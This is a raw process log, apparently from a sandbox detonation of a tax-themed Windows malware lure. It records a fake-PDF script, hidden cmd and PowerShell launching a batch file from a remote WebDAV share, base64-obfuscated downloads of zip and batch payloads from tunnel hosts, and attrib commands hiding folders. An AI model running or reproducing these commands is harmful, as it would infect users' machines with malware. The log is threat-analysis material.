wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\RE_00739403029489392_PDF.wsf
760cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\bufing-portfolio-eventually-quote.trycloudflare.com@SSL\DavWWWRoot\Rev.bat
2156cmd.exe cmd /c ""\\bufing-portfolio-eventually-quote.trycloudflare.com@SSL\DavWWWRoot\Rev.bat" "
2692powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\bufing-portfolio-eventually-quote.trycloudflare.com@SSL\DavWWWRoot\Rev.bat\" hidden' -WindowStyle Hidden"
2784cmd.exe "C:\Windows\system32\cmd.exe" /c "\\bufing-portfolio-eventually-quote.trycloudflare.com@SSL\DavWWWRoot\Rev.bat" hidden
2908powershell.exe powershell -Command "irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yZXByZXNlbnRhdGlvbnMtYWNrbm93bGVkZ2UtcmVtb3ZlZC1yb2Nrcy50cnljbG91ZGZsYXJlLmNvbS9UYXhQcmVwLnppcA=='))) -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' -ErrorAction Stop"
2996powershell.exe powershell -Command "irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yZXByZXNlbnRhdGlvbnMtYWNrbm93bGVkZ2UtcmVtb3ZlZC1yb2Nrcy50cnljbG91ZGZsYXJlLmNvbS9DUEEuYmF0'))) -OutFile 'C:\Users\test22\Downloads\CPA.bat' -ErrorAction Stop"
1460powershell.exe powershell -Command "irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yZXByZXNlbnRhdGlvbnMtYWNrbm93bGVkZ2UtcmVtb3ZlZC1yb2Nrcy50cnljbG91ZGZsYXJlLmNvbS9DYWxDUEEuemlw'))) -OutFile 'C:\Users\test22\Downloads\CalCPA.zip' -ErrorAction Stop"
2136taskkill.exe taskkill /IM python.exe /F
948attrib.exe attrib -h -s "C:\Users\test22\Downloads\OneDrive" /s /d
1228attrib.exe attrib +h "C:\Users\test22\Downloads\Support"
2312attrib.exe attrib +h "C:\Users\test22\Downloads\OneDrive"
2712